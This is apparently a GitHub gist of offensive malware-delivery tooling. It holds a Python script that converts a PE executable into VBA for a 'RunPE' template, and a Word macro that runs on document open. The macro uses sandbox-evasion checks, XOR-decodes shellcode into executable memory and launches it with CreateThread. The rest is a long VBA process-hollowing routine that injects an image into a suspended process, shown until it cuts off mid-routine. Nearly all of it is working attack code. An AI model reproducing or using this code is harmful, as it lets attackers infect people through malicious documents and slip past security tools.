Skip to content

Instantly share code, notes, and snippets.

@0xvm
Last active April 28, 2022 14:03
Show Gist options
  • Save 0xvm/41509be7b0ec52f31948278d208201f3 to your computer and use it in GitHub Desktop.
Save 0xvm/41509be7b0ec52f31948278d208201f3 to your computer and use it in GitHub Desktop.
vba-runpe-custom
#pe2vba.py
#!/usr/bin/env python3
from subprocess import Popen, PIPE
from os import system, remove
import argparse
import os.path
MAX_PROC_SIZE = 32 # Nbr of lines per procedure
MAX_LINE_SIZE = 32 # Nbr of bytes per line
TAG_PE2VBA_BEGIN = "' ===== BEGIN PE2VBA ====="
TAG_PE2VBA_END = "' ===== END PE2VBA ====="
def is_printable(c):
# All characters from SPACE to ~ are printable ASCII.
# However, we want to avoid '"'
if c >= 0x20 and c < 0x7F and c != 0x22:
return True
else:
return False
def pe_to_vba(pe):
block = ""
line = ""
ba = bytearray(pe)
blocks = []
cnt_bytes_current_line = 0
cnt_lines_current_block = 0
cnt_bytes_total = 0
prev_char_was_printable = False
for b in ba:
if cnt_lines_current_block == 0:
# Start a new block
block = " strPE = \"\"\n"
cnt_lines_current_block += 1
if cnt_bytes_current_line == 0:
# Start a new line
line = "strPE"
if is_printable(b):
if prev_char_was_printable:
line += chr(b)
else:
line = "B(%s, \"%s" % (line, chr(b))
prev_char_was_printable = True
else:
if prev_char_was_printable:
line += "\")"
line = "A(%s, %s)" % (line, str(b))
prev_char_was_printable = False
cnt_bytes_current_line += 1 # We added a byte so increment the counter
cnt_bytes_total += 1 # We treated one more byte in the overall file
# If we reach the max number of bytes per line or the end of the array
# then end the current line.
if cnt_bytes_current_line == MAX_LINE_SIZE or cnt_bytes_total == len(ba):
if prev_char_was_printable:
block += " strPE = %s\")\n" % (line)
else:
block += " strPE = %s\n" % (line)
prev_char_was_printable = False # Must reset this flag for each new line
cnt_bytes_current_line = 0
cnt_lines_current_block += 1
# If we reach the max number of lines per block or the end of the array
# then end the current block.
if cnt_lines_current_block == MAX_PROC_SIZE or cnt_bytes_total == len(ba):
cnt_lines_current_block = 0 # Reset the number of lines
cnt_bytes_current_line = 0 # Reset the number of bytes per line
blocks.append(block) # Append the current block to the list of procedudes
# Create a 'Sub' for each block
proc = ""
for i in range(len(blocks)):
proc += "Private Function PE" + str(i) + "() As String\n"
proc += " Dim strPE As String\n\n"
proc += blocks[i]
proc += "\n PE" + str(i) + " = strPE\n"
proc += "End Function\n\n"
vba = ""
vba += proc
vba += "Private Function PE() As String\n"
vba += " Dim strPE As String\n"
vba += " strPE = \"\"\n"
for i in range(len(blocks)):
vba += " strPE = strPE + PE" + str(i) + "()\n"
vba += " PE = strPE\n"
vba += "End Function\n"
return vba
def apply_template(pe_as_vba):
res = ""
tmpl_dir = os.path.dirname(os.path.realpath(__file__))
tmpl_filepath = os.path.join(tmpl_dir, "RunPE.vba")
if os.path.isfile(tmpl_filepath):
tmpl_file = open(tmpl_filepath , "r")
concat_line = True
for line in tmpl_file:
cur_line = line.rstrip()
if cur_line == TAG_PE2VBA_END:
concat_line = True
if concat_line:
res += line
if cur_line == TAG_PE2VBA_BEGIN:
concat_line = False
res += pe_as_vba
tmpl_file.close()
else:
print("[!] Cannot find file: '%s'" % tmpl_filepath)
return res
def main():
# Parse command line arguments and options
parser = argparse.ArgumentParser(description="PE to VBA file converter")
parser.add_argument("pe_file", help="PE file to convert.")
parser.add_argument("-r", "--raw", action="store_true", help="PE to VBA only (don't apply the RunPE template)")
args = parser.parse_args()
# Check whether input file exist
if not os.path.isfile(args.pe_file):
print("[!] '%s' doesn't exist!" % (args.pe_file))
return
# Read the file
pe_file = open(args.pe_file, "rb")
pe = pe_file.read()
pe_file.close()
# Convert the file to VBA
pe_as_vba = pe_to_vba(pe)
if args.raw:
out_file_content = pe_as_vba
else:
# Insert the generated code into the RunPE.vba template
out_file_content = apply_template(pe_as_vba)
# Write the result to file
out_filename = "%s.vba" % (args.pe_file)
out_file = open(out_filename , "w")
out_file.write(out_file_content)
out_file.close()
if os.path.isfile(out_filename):
print("[+] Created file '%s'." % (out_filename))
return
if __name__ == '__main__':
main()
Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr
Private Declare PtrSafe Function FlsAlloc Lib "KERNEL32" (ByVal callback As LongPtr) As LongPtr
Sub MyMacro()
Dim allocRes As LongPtr
Dim t1 As Date
Dim t2 As Date
Dim time As Long
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As LongPtr
' Call FlsAlloc and verify if the result exists
allocRes = FlsAlloc(0)
If IsNull(allocRes) Then
End
End If
' Sleep for 13 seconds and verify time passed
t1 = Now()
Sleep (13370)
t2 = Now()
time = DateDiff("s", t1, t2)
If time < 10 Then
Exit Sub
End If
' Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool)
buf = Array()
' Allocate memory space
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
' Decode the shellcode
For i = 0 To UBound(buf)
buf(i) = buf(i) Xor 250
Next i
' Move the shellcode
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
' Execute the shellcode
res = CreateThread(0, 0, addr, 0, 0, 0)
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Option Explicit
#If Win64 Then
Private Declare PtrSafe Sub RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByVal sSource As LongPtr, ByVal lLength As Long)
Private Declare PtrSafe Function GetModuleFileName Lib "KERNEL32" Alias "GetModuleFileNameA" (ByVal hModule As LongPtr, ByVal lpFilename As String, ByVal nSize As Long) As Long
Private Declare PtrSafe Function CreateProcess Lib "KERNEL32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function GetThreadContext Lib "KERNEL32" (ByVal hThread As LongPtr, ByVal lpContext As LongPtr) As Long
Private Declare PtrSafe Function ReadProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, ByVal lpBuffer As LongPtr, ByVal nSize As Long, ByVal lpNumberOfBytesRead As LongPtr) As Long
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function VirtualAllocEx Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function VirtualFree Lib "KERNEL32" (ByVal lpAddress As LongPtr, dwSize As Long, dwFreeType As Long) As Long
Private Declare PtrSafe Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, ByVal lpBuffer As LongPtr, ByVal nSize As Long, ByVal lpNumberOfBytesWritten As LongPtr) As Long
Private Declare PtrSafe Function SetThreadContext Lib "KERNEL32" (ByVal hThread As LongPtr, ByVal lpContext As LongPtr) As Long
Private Declare PtrSafe Function ResumeThread Lib "KERNEL32" (ByVal hThread As LongPtr) As Long
Private Declare PtrSafe Function TerminateProcess Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal uExitCode As Integer) As Long
#Else
Private Declare Sub RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As Long, ByVal sSource As Long, ByVal lLength As Long)
Private Declare Function GetModuleFileName Lib "KERNEL32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFilename As String, ByVal nSize As Long) As Long
Private Declare Function CreateProcess Lib "KERNEL32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function GetThreadContext Lib "KERNEL32" (ByVal hThread As Long, lpContext As CONTEXT) As Long
Private Declare Function ReadProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, ByVal lpBuffer As LongPtr, ByVal nSize As Long, ByVal lpNumberOfBytesRead As LongPtr) As Long
Private Declare Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare Function VirtualAllocEx Lib "KERNEL32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare Function VirtualFree Lib "KERNEL32" (ByVal lpAddress As LongPtr, dwSize As Long, dwFreeType As Long) As Long
Private Declare Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, ByVal lpNumberOfBytesWritten As LongPtr) As Long
Private Declare Function SetThreadContext Lib "KERNEL32" (ByVal hThread As Long, lpContext As CONTEXT) As Long
Private Declare Function ResumeThread Lib "KERNEL32" (ByVal hThread As Long) As Long
Private Declare Function TerminateProcess Lib "KERNEL32" (ByVal hProcess As Long, ByVal uExitCode As Integer) As Long
#End If
Private Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
Private Const IMAGE_SIZEOF_SHORT_NAME = 8
Private Const MAXIMUM_SUPPORTED_EXTENSION = 512
Private Const SIZE_OF_80387_REGISTERS = 80
#If Win64 Then
Private Type M128A
Low As LongLong
High As LongLong
End Type
#End If
Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(4 - 1) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(10 - 1) As Integer 'WORD e_res2[10];
e_lfanew As Long
End Type
Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type
Private Type IMAGE_BASE_RELOCATION
VirtualAddress As Long
SizeOfBlock As Long
End Type
Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
Characteristics As Integer
End Type
Private Type IMAGE_OPTIONAL_HEADER
#If Win64 Then
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUninitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
ImageBase As LongLong
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer 'WORD MajorOperatingSystemVersion;
MinorOperatingSystemVersion As Integer 'WORD MinorOperatingSystemVersion;
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
Win32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
Subsystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As LongLong
SizeOfStackCommit As LongLong
SizeOfHeapReserve As LongLong
SizeOfHeapCommit As LongLong
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY 'IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
#Else
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUninitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer 'WORD MajorOperatingSystemVersion;
MinorOperatingSystemVersion As Integer 'WORD MinorOperatingSystemVersion;
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
Win32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
Subsystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY 'IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
#End If
End Type
Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER 'IMAGE_OPTIONAL_HEADER OptionalHeader;
End Type
Private Type IMAGE_SECTION_HEADER
SecName(IMAGE_SIZEOF_SHORT_NAME - 1) As Byte 'UCHAR Name[IMAGE_SIZEOF_SHORT_NAME];
Misc As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer 'WORD NumberOfRelocations;
NumberOfLinenumbers As Integer 'WORD NumberOfLinenumbers;
Characteristics As Long
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As LongPtr
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte 'BYTE RegisterArea[SIZE_OF_80387_REGISTERS];
Spare0 As Long
End Type
#If Win64 Then
Private Type XMM_SAVE_AREA32
ControlWord As Integer
StatusWord As Integer
TagWord As Byte
Reserved1 As Byte
ErrorOpcode As Integer
ErrorOffset As Long
ErrorSelector As Integer
Reserved2 As Integer
DataOffset As Long
DataSelector As Integer
Reserved3 As Integer
MxCsr As Long
MxCsr_Mask As Long
FloatRegisters(8 - 1) As M128A
XmmRegisters(16 - 1) As M128A
Reserved4(96 - 1) As Byte
End Type
#End If
Private Type CONTEXT
#If Win64 Then
P1Home As LongLong
P2Home As LongLong
P3Home As LongLong
P4Home As LongLong
P5Home As LongLong
P6Home As LongLong
ContextFlags As Long
MxCsr As Long
SegCs As Integer
SegDs As Integer
SegEs As Integer
SegFs As Integer
SegGs As Integer
SegSs As Integer
EFlags As Long
Dr0 As LongLong
Dr1 As LongLong
Dr2 As LongLong
Dr3 As LongLong
Dr6 As LongLong
Dr7 As LongLong
Rax As LongLong
Rcx As LongLong
Rdx As LongLong
Rbx As LongLong
Rsp As LongLong
Rbp As LongLong
Rsi As LongLong
Rdi As LongLong
R8 As LongLong
R9 As LongLong
R10 As LongLong
R11 As LongLong
R12 As LongLong
R13 As LongLong
R14 As LongLong
R15 As LongLong
Rip As LongLong
FltSave As XMM_SAVE_AREA32
VectorRegister(26 - 1) As M128A
VectorControl As LongLong
DebugControl As LongLong
LastBranchToRip As LongLong
LastBranchFromRip As LongLong
LastExceptionToRip As LongLong
LastExceptionFromRip As LongLong
#Else
ContextFlags As Long
Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long
FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte 'BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
#End If
End Type
Private Const MEM_COMMIT = &H1000
Private Const MEM_RESERVE = &H2000
Private Const PAGE_READWRITE = &H4
Private Const PAGE_EXECUTE_READWRITE = &H40
Private Const MAX_PATH = 260
Private Const CREATE_SUSPENDED = &H4
Private Const CONTEXT_AMD64 = &H100000
Private Const CONTEXT_I386 = &H10000
#If Win64 Then
Private Const CONTEXT_ARCH = CONTEXT_AMD64
#Else
Private Const CONTEXT_ARCH = CONTEXT_I386
#End If
Private Const CONTEXT_CONTROL = CONTEXT_ARCH Or &H1
Private Const CONTEXT_INTEGER = CONTEXT_ARCH Or &H2
Private Const CONTEXT_SEGMENTS = CONTEXT_ARCH Or &H4
Private Const CONTEXT_FLOATING_POINT = CONTEXT_ARCH Or &H8
Private Const CONTEXT_DEBUG_REGISTERS = CONTEXT_ARCH Or &H10
Private Const CONTEXT_EXTENDED_REGISTERS = CONTEXT_ARCH Or &H20
Private Const CONTEXT_FULL = CONTEXT_CONTROL Or CONTEXT_INTEGER Or CONTEXT_SEGMENTS
Private Const VERBOSE = False
Private Const IMAGE_DOS_SIGNATURE = &H5A4D
Private Const IMAGE_NT_SIGNATURE = &H4550
Private Const IMAGE_FILE_MACHINE_I386 = &H14C
Private Const IMAGE_FILE_MACHINE_AMD64 = &H8664
Private Const SIZEOF_IMAGE_DOS_HEADER = 64
Private Const SIZEOF_IMAGE_SECTION_HEADER = 40
Private Const SIZEOF_IMAGE_FILE_HEADER = 20
Private Const SIZEOF_IMAGE_DATA_DIRECTORY = 8
Private Const SIZEOF_IMAGE_BASE_RELOCATION = 8
Private Const SIZEOF_IMAGE_BASE_RELOCATION_ENTRY = 2
#If Win64 Then
Private Const SIZEOF_IMAGE_NT_HEADERS = 264
Private Const SIZEOF_ADDRESS = 8
#Else
Private Const SIZEOF_IMAGE_NT_HEADERS = 248
Private Const SIZEOF_ADDRESS = 4
#End If
Private Const IMAGE_DIRECTORY_ENTRY_EXPORT = 0
Private Const IMAGE_DIRECTORY_ENTRY_IMPORT = 1
Private Const IMAGE_DIRECTORY_ENTRY_RESOURCE = 2
Private Const IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3
Private Const IMAGE_DIRECTORY_ENTRY_SECURITY = 4
Private Const IMAGE_DIRECTORY_ENTRY_BASERELOC = 5
Private Const IMAGE_DIRECTORY_ENTRY_DEBUG = 6
Private Const IMAGE_DIRECTORY_ENTRY_COPYRIGHT = 7
Private Const IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8
Private Const IMAGE_DIRECTORY_ENTRY_TLS = 9
Private Const IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10 ' Load Configuration Directory
Public Function ByteArrayLength(baBytes() As Byte) As Long
On Error Resume Next
ByteArrayLength = UBound(baBytes) - LBound(baBytes) + 1
End Function
Private Function ByteArrayToString(baBytes() As Byte) As String
Dim strRes As String: strRes = ""
Dim iCount As Integer
For iCount = 0 To ByteArrayLength(baBytes) - 1
If baBytes(iCount) <> 0 Then
strRes = strRes & Chr(baBytes(iCount))
Else
Exit For
End If
Next iCount
ByteArrayToString = strRes
End Function
Private Function FileToByteArray(strFilename As String) As Byte()
Dim strFileContent As String
Dim iFile As Integer: iFile = FreeFile
Open strFilename For Binary Access Read As #iFile
strFileContent = Space(FileLen(strFilename))
Get #iFile, , strFileContent
Close #iFile
Dim baFileContent() As Byte
baFileContent = StrConv(strFileContent, vbFromUnicode)
FileToByteArray = baFileContent
End Function
Private Function StringToByteArray(strContent As String) As Byte()
Dim baContent() As Byte
baContent = StrConv(strContent, vbFromUnicode)
StringToByteArray = baContent
End Function
Private Function A(strA As String, bChar As Byte) As String
A = strA & Chr(bChar)
End Function
Private Function B(strA As String, strB As String) As String
B = strA + strB
End Function
' -----
' shellcode here
' -----
Public Sub RunPE(ByRef baImage() As Byte, strArguments As String)
Debug.Print ("..")
Dim structDOSHeader As IMAGE_DOS_HEADER
Dim ptrDOSHeader As LongPtr: ptrDOSHeader = VarPtr(structDOSHeader)
Call RtlMoveMemory(ptrDOSHeader, VarPtr(baImage(0)), SIZEOF_IMAGE_DOS_HEADER)
If structDOSHeader.e_magic = IMAGE_DOS_SIGNATURE Then
If VERBOSE Then
Debug.Print ("..")
End If
Else
Debug.Print ("..")
Exit Sub
End If
Dim structNTHeaders As IMAGE_NT_HEADERS
Dim ptrNTHeaders As LongPtr: ptrNTHeaders = VarPtr(structNTHeaders)
Call RtlMoveMemory(ptrNTHeaders, VarPtr(baImage(structDOSHeader.e_lfanew)), SIZEOF_IMAGE_NT_HEADERS)
If structNTHeaders.Signature = IMAGE_NT_SIGNATURE Then
If VERBOSE Then
Debug.Print ("..")
End If
Else
Debug.Print ("..")
Exit Sub
End If
If VERBOSE Then
Debug.Print ("..")
End If
#If Win64 Then
If structNTHeaders.FileHeader.Machine = IMAGE_FILE_MACHINE_I386 Then
Debug.Print ("..")
Exit Sub
End If
#Else
If structNTHeaders.FileHeader.Machine = IMAGE_FILE_MACHINE_AMD64 Then
Debug.Print ("..")
Exit Sub
End If
#End If
Dim strCurrentFilePath As String
strCurrentFilePath = Space(MAX_PATH) ' Allocate memory to store the path
Dim lGetModuleFileName As Long
lGetModuleFileName = GetModuleFileName(0, strCurrentFilePath, MAX_PATH)
strCurrentFilePath = Left(strCurrentFilePath, InStr(strCurrentFilePath, vbNullChar) - 1) ' Remove NULL bytes
Dim strCmdLine As String
strCmdLine = strCurrentFilePath + " " + strArguments
Debug.Print ("..")
Dim strNull As String
Dim structProcessInformation As PROCESS_INFORMATION
Dim structStartupInfo As STARTUPINFO
If VERBOSE Then
Debug.Print ("..")
End If
Dim lCreateProcess As Long
lCreateProcess = CreateProcess(strNull, strCurrentFilePath + " " + strArguments, 0&, 0&, False, CREATE_SUSPENDED, 0&, strNull, structStartupInfo, structProcessInformation)
If lCreateProcess = 0 Then
Debug.Print ("..")
Exit Sub
Else
If VERBOSE Then
Debug.Print ("..")
End If
End If
Debug.Print ("..")
Dim structContext As CONTEXT
structContext.ContextFlags = CONTEXT_INTEGER 'CONTEXT_FULL
Dim lGetThreadContext As Long
#If Win64 Then
Dim baContext(0 To (LenB(structContext) - 1)) As Byte
Call RtlMoveMemory(VarPtr(baContext(0)), VarPtr(structContext), LenB(structContext))
lGetThreadContext = GetThreadContext(structProcessInformation.hThread, VarPtr(baContext(0)))
#Else
lGetThreadContext = GetThreadContext(structProcessInformation.hThread, structContext)
#End If
If lGetThreadContext = 0 Then
Debug.Print ("..")
Call TerminateProcess(structProcessInformation.hProcess, 0)
Exit Sub
Else
#If Win64 Then
Call RtlMoveMemory(VarPtr(structContext), VarPtr(baContext(0)), LenB(structContext))
#End If
If VERBOSE Then
Debug.Print ("..")
End If
End If
Dim structRelocDirectory As IMAGE_DATA_DIRECTORY
Call RtlMoveMemory(VarPtr(structRelocDirectory), VarPtr(structNTHeaders.OptionalHeader.DataDirectory(IMAGE_DIRECTORY_ENTRY_BASERELOC)), SIZEOF_IMAGE_DATA_DIRECTORY)
Dim ptrDesiredImageBase As LongPtr: ptrDesiredImageBase = 0
If structRelocDirectory.VirtualAddress = 0 Then
Debug.Print ("..")
ptrDesiredImageBase = structNTHeaders.OptionalHeader.ImageBase
End If
Debug.Print ("..")
If VERBOSE Then
Debug.Print ("..")
End If
Dim ptrProcessImageBase As LongPtr
ptrProcessImageBase = VirtualAllocEx(structProcessInformation.hProcess, ptrDesiredImageBase, structNTHeaders.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
If ptrProcessImageBase = 0 Then
Debug.Print ("..")
Call TerminateProcess(structProcessInformation.hProcess, 0)
Exit Sub
Else
If VERBOSE Then
Debug.Print ("..")
End If
End If
If ptrProcessImageBase <> structNTHeaders.OptionalHeader.ImageBase Then
Dim lImageBaseAddrOffset As Long
Dim ptrImageBase As LongPtr
#If Win64 Then
lImageBaseAddrOffset = 0 + structDOSHeader.e_lfanew + 4 + SIZEOF_IMAGE_FILE_HEADER + 24
#Else
lImageBaseAddrOffset = 0 + structDOSHeader.e_lfanew + 4 + SIZEOF_IMAGE_FILE_HEADER + 28
#End If
Call RtlMoveMemory(VarPtr(baImage(0 + lImageBaseAddrOffset)), VarPtr(ptrProcessImageBase), SIZEOF_ADDRESS) ' Write new value
End If
Debug.Print ("..")
Dim ptrImageLocalCopy As LongPtr
ptrImageLocalCopy = VirtualAlloc(0&, structNTHeaders.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
If ptrImageLocalCopy = 0 Then
Debug.Print ("..")
Call TerminateProcess(structProcessInformation.hProcess, 0)
Exit Sub
Else
If VERBOSE Then
Debug.Print ("..")
End If
End If
Debug.Print ("..")
If VERBOSE Then
Debug.Print ("..")
Debug.Print ("..")
Debug.Print ("..")
End If
Call RtlMoveMemory(ptrImageLocalCopy, VarPtr(baImage(0)), structNTHeaders.OptionalHeader.SizeOfHeaders)
If VERBOSE Then
Debug.Print ("..")
End If
Dim iCount As Integer
Dim structSectionHeader As IMAGE_SECTION_HEADER
For iCount = 0 To (structNTHeaders.FileHeader.NumberOfSections - 1)
Call RtlMoveMemory(VarPtr(structSectionHeader), VarPtr(baImage(structDOSHeader.e_lfanew + SIZEOF_IMAGE_NT_HEADERS + (iCount * SIZEOF_IMAGE_SECTION_HEADER))), SIZEOF_IMAGE_SECTION_HEADER)
Dim strSectionName As String: strSectionName = ByteArrayToString(structSectionHeader.SecName)
Dim ptrNewAddress As LongPtr: ptrNewAddress = ptrImageLocalCopy + structSectionHeader.VirtualAddress
Dim lSize As Long: lSize = structSectionHeader.SizeOfRawData
If VERBOSE Then
Debug.Print ("..")
End If
Call RtlMoveMemory(ptrNewAddress, VarPtr(baImage(0 + structSectionHeader.PointerToRawData)), lSize)
Next iCount
Debug.Print ("..")
If ptrProcessImageBase <> structNTHeaders.OptionalHeader.ImageBase Then
Dim lMaxSize As Long: lMaxSize = structRelocDirectory.Size
Dim lRelocAddr As Long: lRelocAddr = structRelocDirectory.VirtualAddress
Dim structReloc As IMAGE_BASE_RELOCATION
Dim lParsedSize As Long: lParsedSize = 0
Do While lParsedSize < lMaxSize
Dim ptrStructReloc As LongPtr: ptrStructReloc = ptrImageLocalCopy + lRelocAddr + lParsedSize
Call RtlMoveMemory(VarPtr(structReloc), ptrStructReloc, SIZEOF_IMAGE_BASE_RELOCATION)
lParsedSize = lParsedSize + structReloc.SizeOfBlock
If (structReloc.VirtualAddress <> 0) And (structReloc.SizeOfBlock <> 0) Then
If VERBOSE Then
Debug.Print ("..")
End If
Dim lEntriesNum As Long: lEntriesNum = (structReloc.SizeOfBlock - SIZEOF_IMAGE_BASE_RELOCATION) / SIZEOF_IMAGE_BASE_RELOCATION_ENTRY
Dim lPage As Long: lPage = structReloc.VirtualAddress
Dim ptrBlock As LongPtr: ptrBlock = ptrStructReloc + SIZEOF_IMAGE_BASE_RELOCATION
Dim iBlock As Integer
Call RtlMoveMemory(VarPtr(iBlock), ptrBlock, SIZEOF_IMAGE_BASE_RELOCATION_ENTRY)
iCount = 0
For iCount = 0 To (lEntriesNum - 1)
Dim iBlockType As Integer: iBlockType = ((iBlock And &HF000) / &H1000) And &HF ' type = value >> 12
Dim iBlockOffset As Integer: iBlockOffset = iBlock And &HFFF ' offset = value & 0xfff
If iBlockType = 0 Then
Exit For
End If
Dim iPtrSize As Integer: iPtrSize = 0
If iBlockType = &H3 Then ' 32 bits address
iPtrSize = 4
ElseIf iBlockType = &HA Then ' 64 bits address
iPtrSize = 8
End If
Dim ptrRelocateAddr As LongPtr
ptrRelocateAddr = ptrImageLocalCopy + lPage + iBlockOffset
If iPtrSize <> 0 Then
Dim ptrRelocate As LongPtr
Call RtlMoveMemory(VarPtr(ptrRelocate), ptrRelocateAddr, iPtrSize)
ptrRelocate = ptrRelocate - structNTHeaders.OptionalHeader.ImageBase + ptrProcessImageBase
Call RtlMoveMemory(ptrRelocateAddr, VarPtr(ptrRelocate), iPtrSize)
End If
ptrBlock = ptrBlock + SIZEOF_IMAGE_BASE_RELOCATION_ENTRY
Call RtlMoveMemory(VarPtr(iBlock), ptrBlock, SIZEOF_IMAGE_BASE_RELOCATION_ENTRY)
Next iCount
End If
Loop
End If
Debug.Print ("..")
Dim lWriteProcessMemory As Long
lWriteProcessMemory = WriteProcessMemory(structProcessInformation.hProcess, ptrProcessImageBase, ptrImageLocalCopy, structNTHeaders.OptionalHeader.SizeOfImage, 0&)
If lWriteProcessMemory = 0 Then
Debug.Print ("..")
